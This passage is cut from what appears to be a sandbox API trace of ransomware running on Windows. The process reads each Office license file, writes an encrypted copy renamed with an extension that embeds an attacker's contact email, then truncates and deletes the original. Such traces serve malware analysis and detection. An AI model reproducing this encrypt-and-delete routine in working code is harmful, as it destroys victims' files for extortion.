[0285.656] lstrlenW (lpString=".dbf") returned 4 [0285.656] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0285.656] lstrlenW (lpString=".1cd") returned 4 [0285.656] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0285.656] lstrlenW (lpString=".jpg") returned 4 [0285.656] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.657] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22224) returned 1 [0285.657] CloseHandle (hObject=0x370) returned 1 [0285.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0285.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.658] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.658] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0285.659] GetLastError () returned 0x0 [0285.659] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x56d0, lpOverlapped=0x0) returned 1 [0285.742] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x56e0, lpOverlapped=0x0) returned 1 [0285.744] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.744] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x12a, lpOverlapped=0x0) returned 1 [0285.744] SetEndOfFile (hFile=0x49c) returned 1 [0285.868] CloseHandle (hObject=0x49c) returned 1 [0285.868] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.868] SetEndOfFile (hFile=0x370) returned 1 [0285.871] CloseHandle (hObject=0x370) returned 1 [0285.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0285.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.873] lstrlenW (lpString=".doc") returned 4 [0285.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.873] lstrlenW (lpString=".docx") returned 5 [0285.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.873] lstrlenW (lpString=".pdf") returned 4 [0285.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.873] lstrlenW (lpString=".xls") returned 4 [0285.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.873] lstrlenW (lpString=".xlsx") returned 5 [0285.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.873] lstrlenW (lpString=".ppt") returned 4 [0285.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.873] lstrlenW (lpString=".zip") returned 4 [0285.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.873] lstrlenW (lpString=".rar") returned 4 [0285.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.874] lstrlenW (lpString=".bz2") returned 4 [0285.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.874] lstrlenW (lpString=".7z") returned 3 [0285.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.874] lstrlenW (lpString=".dbf") returned 4 [0285.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.874] lstrlenW (lpString=".1cd") returned 4 [0285.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0285.874] lstrlenW (lpString=".jpg") returned 4 [0285.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.875] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=21977) returned 1 [0285.875] CloseHandle (hObject=0x370) returned 1 [0285.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0285.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.876] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.876] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0285.877] GetLastError () returned 0x0 [0285.877] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x55d9, lpOverlapped=0x0) returned 1 [0286.088] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x55e0, lpOverlapped=0x0) returned 1 [0286.090] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.090] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.090] SetEndOfFile (hFile=0x49c) returned 1 [0286.103] CloseHandle (hObject=0x49c) returned 1 [0286.109] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.109] SetEndOfFile (hFile=0x370) returned 1 [0286.238] CloseHandle (hObject=0x370) returned 1 [0286.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0286.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.240] lstrlenW (lpString=".doc") returned 4 [0286.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".docx") returned 5 [0286.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.240] lstrlenW (lpString=".pdf") returned 4 [0286.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".xls") returned 4 [0286.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".xlsx") returned 5 [0286.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.240] lstrlenW (lpString=".ppt") returned 4 [0286.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.240] lstrlenW (lpString=".zip") returned 4 [0286.240] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".rar") returned 4 [0286.240] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".bz2") returned 4 [0286.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString=".7z") returned 3 [0286.240] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.240] lstrlenW (lpString=".dbf") returned 4 [0286.240] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.241] lstrlenW (lpString=".1cd") returned 4 [0286.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0286.241] lstrlenW (lpString=".jpg") returned 4 [0286.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.242] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22093) returned 1 [0286.242] CloseHandle (hObject=0x370) returned 1 [0286.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0286.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.244] GetLastError () returned 0x0 [0286.244] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x564d, lpOverlapped=0x0) returned 1 [0286.264] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5650, lpOverlapped=0x0) returned 1 [0286.266] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.266] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0286.266] SetEndOfFile (hFile=0x560) returned 1 [0286.266] CloseHandle (hObject=0x560) returned 1 [0286.267] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.267] SetEndOfFile (hFile=0x370) returned 1 [0286.270] CloseHandle (hObject=0x370) returned 1 [0286.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0286.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.272] lstrlenW (lpString=".doc") returned 4 [0286.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.272] lstrlenW (lpString=".docx") returned 5 [0286.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.272] lstrlenW (lpString=".pdf") returned 4 [0286.272] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.272] lstrlenW (lpString=".xls") returned 4 [0286.272] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.272] lstrlenW (lpString=".xlsx") returned 5 [0286.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.272] lstrlenW (lpString=".ppt") returned 4 [0286.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.273] lstrlenW (lpString=".zip") returned 4 [0286.273] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString=".rar") returned 4 [0286.273] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString=".bz2") returned 4 [0286.273] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString=".7z") returned 3 [0286.273] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.273] lstrlenW (lpString=".dbf") returned 4 [0286.273] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.273] lstrlenW (lpString=".1cd") returned 4 [0286.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0286.273] lstrlenW (lpString=".jpg") returned 4 [0286.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.274] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11617) returned 1 [0286.274] CloseHandle (hObject=0x370) returned 1 [0286.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0286.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.275] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.275] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.276] GetLastError () returned 0x0 [0286.276] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d61, lpOverlapped=0x0) returned 1 [0286.280] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0286.298] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.300] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11c, lpOverlapped=0x0) returned 1 [0286.300] SetEndOfFile (hFile=0x560) returned 1 [0286.301] CloseHandle (hObject=0x560) returned 1 [0286.301] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.301] SetEndOfFile (hFile=0x370) returned 1 [0286.304] CloseHandle (hObject=0x370) returned 1 [0286.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0286.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.306] lstrlenW (lpString=".doc") returned 4 [0286.306] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".docx") returned 5 [0286.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.306] lstrlenW (lpString=".pdf") returned 4 [0286.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".xls") returned 4 [0286.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".xlsx") returned 5 [0286.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.306] lstrlenW (lpString=".ppt") returned 4 [0286.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.306] lstrlenW (lpString=".zip") returned 4 [0286.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".rar") returned 4 [0286.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".bz2") returned 4 [0286.306] lstrcmpiW 